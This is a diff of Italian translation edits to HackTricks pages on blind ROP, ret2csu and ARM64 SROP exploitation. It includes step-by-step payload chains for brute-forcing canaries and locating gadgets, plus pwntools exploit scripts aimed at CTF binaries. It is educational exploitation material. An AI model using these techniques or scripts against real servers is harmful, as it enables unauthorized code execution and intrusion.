+L'obiettivo di questo attacco è essere in grado di **abusare di un ROP tramite un buffer overflow senza alcuna informazione sul binario vulnerabile**.\
 Questo attacco si basa sul seguente scenario:
 
-* Una vulnerabilità dello stack e la conoscenza di come attivarla.
+* Una vulnerabilità nello stack e conoscenza di come attivarla.
 * Un'applicazione server che si riavvia dopo un crash.
 
 ## Attacco
 
-### **1. Trovare l'offset vulnerabile** inviando un carattere in più fino a quando non viene rilevato un malfunzionamento del server
+### **1. Trova l'offset vulnerabile** inviando un carattere in più fino a quando non viene rilevato un malfunzionamento del server
 
-### **2. Forzare il canary** per effettuare un leak
+### **2. Brute-force canary** per rivelarlo
 
-### **3. Forzare gli indirizzi RBP e RIP memorizzati** nello stack per effettuare un leak
+### **3. Brute-force indirizzi RBP e RIP** memorizzati nello stack per rivelarli
 
-È possibile trovare ulteriori informazioni su questi processi [qui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [qui (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
+Puoi trovare ulteriori informazioni su questi processi [qui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [qui (BF Indirizzi nello Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
 
-### **4. Trovare il gadget di stop**
+### **4. Trova il gadget di stop**
 
-Questo gadget permette essenzialmente di confermare che è stato eseguito qualcosa di interessante tramite il gadget ROP perché l'esecuzione non è crashata. Di solito, questo gadget sarà qualcosa che **ferma l'esecuzione** ed è posizionato alla fine della catena ROP quando si cercano i gadget ROP per confermare che un determinato gadget ROP è stato eseguito.
+Questo gadget consente fondamentalmente di confermare che qualcosa di interessante è stato eseguito dal gadget ROP perché l'esecuzione non è andata in crash. Di solito, questo gadget sarà qualcosa che **ferma l'esecuzione** ed è posizionato alla fine della catena ROP quando si cercano gadget ROP per confermare che un gadget ROP specifico è stato eseguito.
 
-### **5. Trovare il gadget BROP**
+### **5. Trova il gadget BROP**
 
-Questa tecnica utilizza il gadget [**ret2csu**](ret2csu.md). E questo perché se si accede a questo gadget nel mezzo di alcune istruzioni si ottengono gadget per controllare **`rsi`** e **`rdi`**:
+Questa tecnica utilizza il gadget [**ret2csu**](ret2csu.md). E questo perché se accedi a questo gadget nel mezzo di alcune istruzioni ottieni gadget per controllare **`rsi`** e **`rdi`**:
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
 
 Questi sarebbero i gadget:
 
 * `pop rsi; pop r15; ret`
 * `pop rdi; ret`
 
-Nota come con quei gadget è possibile **controllare 2 argomenti** di una funzione da chiamare.
+Nota come con questi gadget è possibile **controllare 2 argomenti** di una funzione da chiamare.
 
-Inoltre, nota che il gadget ret2csu ha una **firma molto unica** perché estrae 6 registri dallo stack. Quindi inviando una catena come:
+Inoltre, nota che il gadget ret2csu ha una **firma molto unica** perché andrà a poppare 6 registri dallo stack. Quindi inviando una catena come:
 
 `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
 
-Se viene eseguito il **STOP**, ciò significa essenzialmente che è stato utilizzato un **indirizzo che estrae 6 registri** dallo stack. Oppure che l'indirizzo utilizzato era anche un indirizzo di STOP.
+Se il **STOP viene eseguito**, questo significa fondamentalmente che è stato utilizzato un **indirizzo che sta poppando 6 registri** dallo stack. Oppure che l'indirizzo utilizzato era anche un indirizzo STOP.
 
-Per **rimuovere questa ultima opzione** viene eseguita una nuova catena come la seguente e non deve eseguire il gadget STOP per confermare che il precedente ha estratto 6 registri:
+Per **rimuovere quest'ultima opzione**, viene eseguita una nuova catena come la seguente e non deve eseguire il gadget STOP per confermare che il precedente ha effettivamente poppato 6 registri:
 
 `'A' * offset + canary + rbp + ADDR`
 
-Conoscendo l'indirizzo del gadget ret2csu, è possibile **dedurre l'indirizzo dei gadget per controllare `rsi` e `rdi`**.
+Conoscendo l'indirizzo del gadget ret2csu, è possibile **inferire l'indirizzo dei gadget per controllare `rsi` e `rdi`**.
 
-### 6. Trovare il PLT
+### 6. Trova PLT
 
-La tabella PLT può essere cercata da 0x400000 o dall'**indirizzo RIP leakato** dallo stack (se viene utilizzato **PIE**). Le **voci** della tabella sono **separate da 16B** (0x10B), e quando viene chiamata una funzione il server non crasha anche se gli argomenti non sono corretti. Inoltre, controllando l'indirizzo di una voce nel **PLT + 6B non crasha** poiché è il primo codice eseguito.
+La tabella PLT può essere cercata da 0x400000 o dall'**indirizzo RIP rivelato** dallo stack (se **PIE** è in uso). Le **voci** della tabella sono **separate da 16B** (0x10B), e quando una funzione viene chiamata il server non va in crash anche se gli argomenti non sono corretti. Inoltre, controllare l'indirizzo di una voce nella **PLT + 6B non va in crash** poiché è il primo codice eseguito.
 
 Pertanto, è possibile trovare la tabella PLT controllando i seguenti comportamenti:
 
@@ -74,23 +74,23 @@ Pertanto, è possibile trovare la tabella PLT controllando i seguenti comportame
 
 ### 7. Trovare strcmp
 
-La funzione **`strcmp`** imposta il registro **`rdx`** alla lunghezza della stringa confrontata. Nota che **`rdx`** è il **terzo argomento** e deve essere **maggiore di 0** per poter successivamente utilizzare `write` per effettuare un leak del programma.
+La funzione **`strcmp`** imposta il registro **`rdx`** sulla lunghezza della stringa che viene confrontata. Nota che **`rdx`** è il **terzo argomento** e abbiamo bisogno che sia **maggiore di 0** per poter utilizzare successivamente `write` per rivelare il programma.
 
-È possibile trovare la posizione di **`strcmp`** nel PLT basandosi sul suo comportamento utilizzando il fatto che ora possiamo controllare i primi 2 argomenti delle funzioni:
+È possibile trovare la posizione di **`strcmp`** nella PLT in base al suo comportamento utilizzando il fatto che ora possiamo controllare i 2 primi argomenti delle funzioni:
 
-* strcmp(\<indirizzo non letto>, \<indirizzo non letto>) -> crash
-* strcmp(\<indirizzo non letto>, \<indirizzo letto>) -> crash
-* strcmp(\<indirizzo letto>, \<indirizzo non letto>) -> crash
-* strcmp(\<indirizzo letto>, \<indirizzo letto>) -> nessun crash
+* strcmp(\<non read addr>, \<non read addr>) -> crash
+* strcmp(\<non read addr>, \<read addr>) -> crash
+* strcmp(\<read addr>, \<non read addr>) -> crash
+* strcmp(\<read addr>, \<read addr>) -> nessun crash
 
-È possibile verificare ciò chiamando ciascuna voce della tabella PLT o utilizzando il **percorso lento PLT** che consiste essenzialmente nel **chiamare una voce nella tabella PLT + 0xb** (che chiama a **`dlresolve`**) seguito nello stack dal **numero di voce che si desidera esaminare** (a partire da zero) per esaminare tutte le voci PLT dalla prima:
+È possibile controllare questo chiamando ciascuna voce della tabella PLT o utilizzando il **PLT slow path** che consiste fondamentalmente nel **chiamare un'entrata nella tabella PLT + 0xb** (che chiama **`dlresolve`**) seguita nello stack dal **numero di entrata che si desidera sondare** (partendo da zero) per esaminare tutte le voci PLT dalla prima:
 
-* strcmp(\<indirizzo non letto>, \<indirizzo letto>) -> crash
-* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Crash
-* strcmp(\<indirizzo letto>, \<indirizzo non letto>) -> crash
-* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
-* strcmp(\<indirizzo letto>, \<indirizzo letto>) -> nessun crash
-* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
+* strcmp(\<non read addr>, \<read addr>) -> crash
+* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Andrà in crash
+* strcmp(\<read addr>, \<non read addr>) -> crash
+* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
+* strcmp(\<read addr>, \<read addr>) -> nessun crash
+* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
 
 Ricorda che:
 
@@ -98,14 +98,15 @@ Ricorda che:
 * BROP + 0x9 punta a **`pop RDI; ret;`**
 * PLT + 0xb punta a una chiamata a **dl\_resolve**.
 
-Avendo trovato `strcmp` è possibile impostare **`rdx`** su un valore maggiore di 0.
+Avendo trovato `strcmp`, è possibile impostare **`rdx`** su un valore maggiore di 0.
 
 {% hint style="success" %}
-Nota che di solito `rdx` conterrà già un valore maggiore di 0, quindi questo passaggio potrebbe non essere necessario.
+Nota che di solito `rdx` avrà già un valore maggiore di 0, quindi questo passaggio potrebbe non essere necessario.
 {% endhint %}
+
 ### 8. Trovare Write o equivalente
 
-Infine, è necessario un gadget che esfiltrerà i dati per esfiltrare il binario. E in questo momento è possibile **controllare 2 argomenti e impostare `rdx` maggiore di 0.**
+Infine, è necessario un gadget che esfiltri i dati per esfiltrare il binario. E in questo momento è possibile **controllare 2 argomenti e impostare `rdx` maggiore di 0.**
 
 Ci sono 3 funzioni comuni che potrebbero essere abusate per questo:
 
@@ -115,17 +116,17 @@ Ci sono 3 funzioni comuni che potrebbero essere abusate per questo:
 
 Tuttavia, il documento originale menziona solo la funzione **`write`**, quindi parliamone:
 
-Il problema attuale è che non sappiamo **dove si trova la funzione write all'interno del PLT** e non conosciamo **un numero fd per inviare i dati al nostro socket**.
+Il problema attuale è che non sappiamo **dove si trova la funzione write all'interno della PLT** e non conosciamo **un numero fd per inviare i dati al nostro socket**.
 
-Tuttavia, sappiamo **dove si trova la tabella PLT** ed è possibile trovare write in base al suo **comportamento**. E possiamo creare **diverse connessioni** con il server e utilizzare un **FD alto** sperando che corrisponda a una delle nostre connessioni.
+Tuttavia, sappiamo **dove si trova la tabella PLT** ed è possibile trovare write in base al suo **comportamento**. E possiamo creare **diverse connessioni** con il server e utilizzare un **FD alto** sperando che corrisponda a alcune delle nostre connessioni.
 
-Firme di comportamento per trovare queste funzioni:
+Firme di comportamento per trovare quelle funzioni:
 
-* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP`  -> Se vengono stampati dei dati, allora è stata trovata puts
-* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP`  -> Se vengono stampati dei dati, allora è stata trovata dprintf
-* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP`  -> Se vengono stampati dei dati, allora è stata trovata write
+* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se ci sono dati stampati, allora è stata trovata puts
+* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se ci sono dati stampati, allora è stata trovata dprintf
+* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se ci sono dati stampati, allora è stata trovata write
 
-## Esploitation Automatica
+## Sfruttamento automatico
 
 * [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
 
@@ -133,3 +134,18 @@ Firme di comportamento per trovare queste funzioni:
 
 * Documento originale: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
 * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
+
+{% hint style="success" %}
+Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Supporta HackTricks</summary>
+
+* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
+* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
+
+</details>
+{% endhint %}

binary-exploitation/rop-return-oriented-programing/ret2csu.md

@@ -1,33 +1,33 @@
 # Ret2csu
 
 {% hint style="success" %}
-Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
-<summary>Sostieni HackTricks</summary>
+<summary>Support HackTricks</summary>
 
-* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
-* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
 ##
 
-## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Informazioni di Base
+## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Informazioni di base
 
-**ret2csu** è una tecnica di hacking utilizzata quando si cerca di prendere il controllo di un programma ma non si riescono a trovare i **gadget** soliti per manipolare il comportamento del programma.&#x20;
+**ret2csu** è una tecnica di hacking utilizzata quando si cerca di prendere il controllo di un programma ma non si riesce a trovare i **gadgets** che si usano di solito per manipolare il comportamento del programma.
 
-Quando un programma utilizza determinate librerie (come libc), ha alcune funzioni integrate per gestire come diverse parti del programma comunicano tra loro. Tra queste funzioni ci sono alcune gemme nascoste che possono agire come i nostri gadget mancanti, in particolare una chiamata `__libc_csu_init`.
+Quando un programma utilizza determinate librerie (come libc), ha alcune funzioni integrate per gestire come i diversi pezzi del programma comunicano tra loro. Tra queste funzioni ci sono alcune gemme nascoste che possono fungere da gadget mancanti, in particolare una chiamata `__libc_csu_init`.
 
 ### I Gadget Magici in \_\_libc\_csu\_init
 
-In **`__libc_csu_init`**, ci sono due sequenze di istruzioni (gadget) da evidenziare:
+In **`__libc_csu_init`**, ci sono due sequenze di istruzioni (gadgets) da evidenziare:
 
-1. La prima sequenza ci permette di impostare valori in diversi registri (rbx, rbp, r12, r13, r14, r15). Questi sono come slot in cui possiamo memorizzare numeri o indirizzi che vogliamo utilizzare successivamente.
+1. La prima sequenza ci consente di impostare valori in diversi registri (rbx, rbp, r12, r13, r14, r15). Questi sono come slot dove possiamo memorizzare numeri o indirizzi che vogliamo utilizzare in seguito.
 ```armasm
 pop rbx;
 pop rbp;
@@ -37,18 +37,18 @@ pop r14;
 pop r15;
 ret;
 ```
-Questo gadget ci permette di controllare questi registri facendo uscire i valori dallo stack e inserendoli al loro interno.
+Questo gadget ci consente di controllare questi registri estraendo valori dallo stack in essi.
 
 2. La seconda sequenza utilizza i valori che abbiamo impostato per fare un paio di cose:
-* **Spostare valori specifici in altri registri**, preparandoli per essere utilizzati come parametri nelle funzioni.
-* **Effettuare una chiamata a una posizione** determinata sommando i valori in r15 e rbx, moltiplicando poi rbx per 8.
+* **Spostare valori specifici in altri registri**, rendendoli pronti per essere utilizzati come parametri nelle funzioni.
+* **Eseguire una chiamata a una posizione** determinata sommando i valori in r15 e rbx, quindi moltiplicando rbx per 8.
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
 mov edi, r13d;
 call qword [r12 + rbx*8];
 ```
-2. Forse non conosci nessun indirizzo da scrivere lì e hai bisogno di un'istruzione `ret`. Nota che il secondo gadget finirà anche con un `ret`, ma dovrai soddisfare alcune condizioni per poterci arrivare:
+2. Forse non conosci alcun indirizzo su cui scrivere e hai **bisogno di un'istruzione `ret`**. Nota che il secondo gadget terminerà anche con un **`ret`**, ma dovrai soddisfare alcune **condizioni** per raggiungerlo:
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
@@ -62,8 +62,8 @@ ret
 ```
 Le condizioni saranno:
 
-* `[r12 + rbx*8]` deve puntare a un indirizzo che memorizza una funzione invocabile (se non si ha idea e non si ha pie, è possibile utilizzare la funzione `_init`):
-* Se \_init si trova a `0x400560`, utilizzare GEF per cercare un puntatore in memoria ad esso e fare in modo che `[r12 + rbx*8]` sia l'indirizzo con il puntatore a \_init:
+* `[r12 + rbx*8]` deve puntare a un indirizzo che memorizza una funzione chiamabile (se non hai idea e non hai pie, puoi semplicemente usare la funzione `_init`):
+* Se \_init è a `0x400560`, usa GEF per cercare un puntatore in memoria ad esso e fai in modo che `[r12 + rbx*8]` sia l'indirizzo con il puntatore a \_init:
 ```bash
 # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 gef➤  search-pattern 0x400560
@@ -78,9 +78,9 @@ gef➤  search-pattern 0x400560
 
 ## RDI e RSI
 
-Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedendo a offset specifici:
+Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedendo a specifici offset:
 
-<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
 
 Controlla questa pagina per ulteriori informazioni:
 
@@ -92,14 +92,14 @@ Controlla questa pagina per ulteriori informazioni:
 
 ### Utilizzando la chiamata
 
-Immagina di voler fare una syscall o chiamare una funzione come `write()` ma hai bisogno di valori specifici nei registri `rdx` e `rsi` come parametri. Normalmente, cercheresti gadget che impostano direttamente questi registri, ma non ne trovi.
+Immagina di voler effettuare una syscall o chiamare una funzione come `write()` ma hai bisogno di valori specifici nei registri `rdx` e `rsi` come parametri. Normalmente, cercheresti gadget che impostano direttamente questi registri, ma non riesci a trovarne.
 
 Ecco dove entra in gioco **ret2csu**:
 
-1. **Imposta i Registri**: Usa il primo gadget magico per estrarre i valori dallo stack e metterli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
-2. **Usa il Secondo Gadget**: Con quei registri impostati, usi il secondo gadget. Questo ti permette di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far sì che il programma chiami una funzione situata all'indirizzo che calcoli e inserisci in `[r15 + rbx*8]`.
+1. **Imposta i Registri**: Usa il primo gadget magico per estrarre valori dallo stack e metterli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
+2. **Usa il Secondo Gadget**: Con quei registri impostati, usi il secondo gadget. Questo ti consente di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far chiamare al programma una funzione situata all'indirizzo che calcoli e metti in `[r15 + rbx*8]`.
 
-Hai un [**esempio che utilizza questa tecnica e la spiega qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e questo è l'exploit finale che ha usato:
+Hai un [**esempio che utilizza questa tecnica e la spiega qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e questo è l'exploit finale che ha utilizzato:
 ```python
 from pwn import *
 
@@ -124,12 +124,12 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 {% hint style="warning" %}
-Si noti che l'exploit precedente non è destinato a fare un **`RCE`**, ma è destinato solo a chiamare una funzione chiamata **`win`** (prendendo l'indirizzo di `win` da stdin chiamando gets nella catena ROP e memorizzandolo in r15) con un terzo argomento con il valore `0xdeadbeefcafed00d`.
+Nota che l'exploit precedente non è destinato a fare un **`RCE`**, ma è destinato a chiamare una funzione chiamata **`win`** (prendendo l'indirizzo di `win` dall'input standard chiamando gets nella catena ROP e memorizzandolo in r15) con un terzo argomento con il valore `0xdeadbeefcafed00d`.
 {% endhint %}
 
 ### Bypassare la chiamata e raggiungere ret
 
-L'exploit seguente è stato estratto [**da questa pagina**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) dove viene utilizzato il **ret2csu** ma invece di utilizzare la chiamata, sta **bypassando i confronti e raggiungendo il `ret`** dopo la chiamata:
+L'exploit seguente è stato estratto [**da questa pagina**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) dove il **ret2csu** è utilizzato ma invece di usare la chiamata, sta **bypassando i confronti e raggiungendo il `ret`** dopo la chiamata:
 ```python
 # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@@ -179,6 +179,21 @@ payload += ret2win
 target.sendline(payload)
 target.interactive()
 ```
-### Perché non utilizzare direttamente libc?
+### Perché non usare direttamente libc?
 
-Di solito questi casi sono vulnerabili anche a **ret2plt** + **ret2lib**, ma a volte è necessario controllare più parametri di quelli facilmente controllabili con i gadget che si trovano direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri e **potrebbe non essere possibile trovare gadget per impostare tutti questi direttamente**.
+Di solito, questi casi sono vulnerabili anche a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ma a volte è necessario controllare più parametri di quanti possano essere facilmente controllati con i gadget che trovi direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri, e **trovare gadget per impostare tutti questi direttamente potrebbe non essere possibile**.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}

binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md

@@ -1,16 +1,16 @@
 # SROP - ARM64
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
-<summary>Support HackTricks</summary>
+<summary>Supporta HackTricks</summary>
 
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
+* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
 
 </details>
 {% endhint %}
@@ -147,7 +147,7 @@ return 0;
 
 Nella sezione **`vdso`** è possibile trovare una chiamata a **`sigreturn`** nell'offset **`0x7b0`**:
 
-<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
 
 Pertanto, se viene leakato, è possibile **utilizzare questo indirizzo per accedere a un `sigreturn`** se il binario non lo sta caricando:
 ```python
@@ -191,8 +191,8 @@ E per bypassare l'indirizzo di `/bin/sh` potresti creare diverse variabili di am
 {% endcontent-ref %}
 
 {% hint style="success" %}
-Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
